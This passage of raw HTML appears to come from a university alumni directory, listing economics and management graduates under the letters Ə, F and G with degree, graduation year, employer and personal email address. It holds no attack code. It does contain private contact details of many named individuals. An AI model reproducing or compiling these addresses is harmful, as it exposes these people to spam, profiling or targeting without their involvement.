margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bank işi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong> &nbsp;<a href=\"mailto:masiyevali@gmail.com\">masiyevali@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p>  <hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Əsmər Cəfərli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin təşkili və idarə edilməsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:esmer.ceferli@khazar.org\">esmer.ceferli@khazar.org</a></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><a href=\"mailto:esmer.ceferli@khazar.org\"></a></strong>Bakalavr<strong> </strong>2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Əli Hüseynov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <strong><a href=\"mailto:Alhuseyn@gmail.com\">Alhuseyn@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr<strong> </strong>2015<strong></strong></p>  <hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Əziz Əliyev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Hərbi xidmətdə</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Əjdər Həsənov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq&nbsp;İqtisadi Münasibətlər&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Hərbi xidmətdədir</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:xarqo_013@hotmail.com\">xarqo_013@hotmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Əli Reza Xəyyami</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin Təşkili və&nbsp;İdarəedilməsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Baku Electronics</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong> a,khayyami@yahoo.com</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong></strong>Bakalavr 2011&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ələkbər İbrahimov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Malaziya</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<strong><a href=\"mailto:alekperibragimov@gmail.com\">alekperibragimov@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\"><strong></strong></p><h3 id=\"F\" style=\"font-weight:bold\"><strong>F</strong></h3><p><strong>Fazil Müzəffərov <o:p></o:p></strong></p><p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə, 2017</p>\r\n<p>E-mail:<a href=\"mailto:Muzafferly93@gmail.com\">Muzafferly93[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Fidan Səfərova </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Mühasibat\r\nuçotu və audit, 2017</p>\r\n<p>E-mail:<a href=\"mailto:safarifidan@gmail.com\">safarifidan[at]gmail.com</a></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>Fidan Şıxəliyeva</strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Mühasibat\r\nuçotu və audit, 2017</p>\r\n<p>E-mail:<a href=\"mailto:shixaliyeva.fidan94@gmail.com\">shixaliyeva.fidan94[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Fəxri Əliyev </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Mühasibat\r\nuçotu və audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Fexri8198@gmail.com\">Fexri8198[at]gmail.com</a> </p>\r\n<p>&nbsp;</p>\r\n<p><strong>Fərid Hüseynli </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Menecment,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:faridhuseynli@gmail.com\">faridhuseynli[at]gmail.com</a> </p>\r\n<p>SubhanTrans\r\nBNT MMC</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Fidan Əsgərova </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Menecment,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:fidan.askerova@hotmail.com\">fidan.askerova[at]hotmail.com</a>&nbsp;&nbsp; </p>\r\n<p>&nbsp;&nbsp;</p>\r\n<p><strong>Fariz Qasimov </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Menecment,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:fariz_2303@hotmail.com\">fariz_2303[at]hotmail.com</a> </p>\r\n<p>Pasha\r\nHolding MMC</p>\r\n<p>&nbsp;&nbsp;</p>\r\n<p><strong>Fidan Qəribova </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Marketinq, 2017</p>\r\n<p>E-mail: <a href=\"mailto:fidan.qaribova@outlook.com\">fidan.qaribova[at]outlook.com</a> </p>\r\n<p>&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fidan Bayramlı</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq iqtisadi münasibətlər</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:fidanbayramli@yahoo.com\">fidanbayramli[at]yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Faiq Fətullayev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi/Biznesin İdarə Edilməsi (MBA)</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühasibat uçotu və audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Auditor/KPMG&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong> &nbsp;<a href=\"mailto:faig.fatullayev@gmail.com\">faig.fatullayev@gmail.com</a></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><a href=\"mailto:faig.fatullayev@gmail.com\"></a></strong>MBA 2016 (Fərqlənmə)</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fuad Quliyev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:quliyev_fuad@inbox.ru\">quliyev_fuad@inbox.ru</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"font-weight: bold; background-image: url(\" \");=\"\" display:=\"\" inline=\"\" !important;\"=\"\"><strong>Fəridə Əlili</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Marketinq</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fəridə&nbsp;Həsənli&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment&nbsp;,&nbsp;Biznesin Təşkili və\r\nidarəedilməsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Norveç</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<strong><a href=\"mailto:faridahasanova@hotmail.com\">faridahasanova@hotmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\"><strong>Fərid Məmmədov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Azerfon, Corporate Communication</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:&nbsp;<a href=\"mailto:faridmammadov@hotmail.com\">faridmammadov@hotmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fatimə Qiyaslı&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq İqtisadi Münasibətlər</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;&nbsp;<a href=\"mailto:F_kh_g@hotmail.com\">F_kh_g@hotmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fuad Babayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;&nbsp;<a href=\"mailto:b.fuad@yahoo/com\">b.fuad@yahoo/com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fuad Hüseynov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fərman Qarayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq&nbsp;İqtisadi Münasibətlər&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:farmangarayev@mail.ru\">farmangarayev@mail.ru</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:farmangarayev@mail.ru\"></a>Bakalavr 2011&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fərid Kamalov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq İqtisadi Münasibətlər</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Hərbi xidmətdədir</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<strong><a href=\"mailto:farid.kamalov@yahoo.com\">farid.kamalov@yahoo.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fərid Hüseynov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fərəh Əhmədli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bank of Baku- da tecrubede</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <strong><a href=\"mailto:Msfarrah93@gmail.com\">Msfarrah93@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fərid Tağıyev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Hərbi xidmətdə</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong><a href=\"mailto:Tagiyev_farid@mail.ru\">Tagiyev_farid@mail.ru</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fatimə Əhmədova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">“R.İ.S.K” Şirkəti</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong> <a href=\"mailto:fatya.akhmedova@gmail.com\">fatya.akhmedova@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fərid&nbsp;İsayev&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">PriceWaterhouseCoopers, Baş mütəxəssis</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong> <a href=\"mailto:faridisayev@hotmail.com\">faridisayev@hotmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fatimə Zeynalabdinova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Alfa sığorta</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <strong><a href=\"mailto:f.zeynalabdin@hotmail.com\">f.zeynalabdin@hotmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fidan Oruczadə</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:fidan.orujzade@gmail.com\">fidan.orujzade@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fariz&nbsp;Fətəliyev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin Təşkili və idarəedilməsi </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:ffataliyev@yahoo.com\">ffataliyev@yahoo.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016 (Fərqlənmə)</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Farida Ismayilova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Marketing</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fərəh Məmmədova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Marketing</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:Farah.mammadova27@gmail.com\">Farah.mammadova27@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fidan İskəndərzadə</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühasibat uçotu və audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:fidaniskenderzade@gmail.com\">fidaniskenderzade@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fidan Yusifova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Firudin Rüstəmov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin təşkili və idarə edilməsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:firudin@galaxytravel.az\">firudin@galaxytravel.az</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fərid Fərəməzov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin təşkili və idarə edilməsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fidan Quliyeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühasibat uçotu və audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong> &nbsp;<a href=\"mailto:Fidashka.guliyeva@gmail.com\">Fidashka.guliyeva@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Füzuli Kazımov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;&nbsp;<a href=\"mailto:fkazemov87@yahoo.com\">fkazemov87@yahoo.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><br><h3 id=\"G\" style=\"font-weight:bold\"><strong>G</strong></h3><p><strong>Gülsənəm Abasova <o:p></o:p></strong></p><p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:gulsanam.abasova@gmail.com\">gulsanam.abasova[at]gmail.com</a></p>\r\n<p>Azerbaijan Supermarket LLC (Bravo),\r\nAdministrative Assistant at Human Resource Department</p>\r\n<p><strong><br></strong></p><p><strong>Günay Əliyeva </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:gunay9529@gmail.com\">gunay9529[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Günay Məmmədquluyeva </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Biznesin təşkili və idarə edilməsi, 2017</p>\r\n<p>E-mail: <a href=\"mailto:gunay_mamishova@mail.ru\">gunay_mamishova[at]mail.ru</a> </p>\r\n<p>Pasha Heyat Sigorta\" ASC,\r\nHR</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Günel Allahverdiyeva </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Xidmət siferasında mühasibat uçotu və audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:gunelallahverdiyeva91@gmail.com\">gunelallahverdiyeva91[at]gmail.com</a> </p>\r\n<p>Sinteks Group of Companies -\r\nAccounting</p>\r\n<p><strong><br></strong></p><p><strong>Günay Ələkbərova </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Beynəlxalq iqtisadi münasibətlər, 2017</p>\r\n<p>E-mail:<a href=\"mailto:alakbarova90@gmail.com\">alakbarova90[at]gmail.com</a> </p>\r\n<p>Unibank</p>\r\n<p>&nbsp;</p>\r\n<p><strong><strong>Günel</strong>&nbsp;Əliyeva&nbsp;</strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Bank işi, 2017</p>\r\n<p>E-mail: <a href=\"mailto:ggafarova@yahoo.com\">ggafarova[at]yahoo.com</a> </p>  <p style=\"font-weight:bold\"><strong><br></strong></p><p style=\"font-weight:bold\"><strong></strong><strong>Günel Manafova&nbsp;</strong></p><p>Biznesin Təşkili və&nbsp;İdarəedilməsi&nbsp;<br></p><p>Fortuna trayvell</p><p>E-mail:&nbsp;<a href=\"mailto:m.gunel.m@yahoo.com\">m.gunel.m@yahoo.com</a></p><p><a href=\"mailto:m.gunel.m@yahoo.com\"></a>Bakalavr   2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\"><strong>Gülnar Ağayeva</strong><strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Management</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:&nbsp;<a 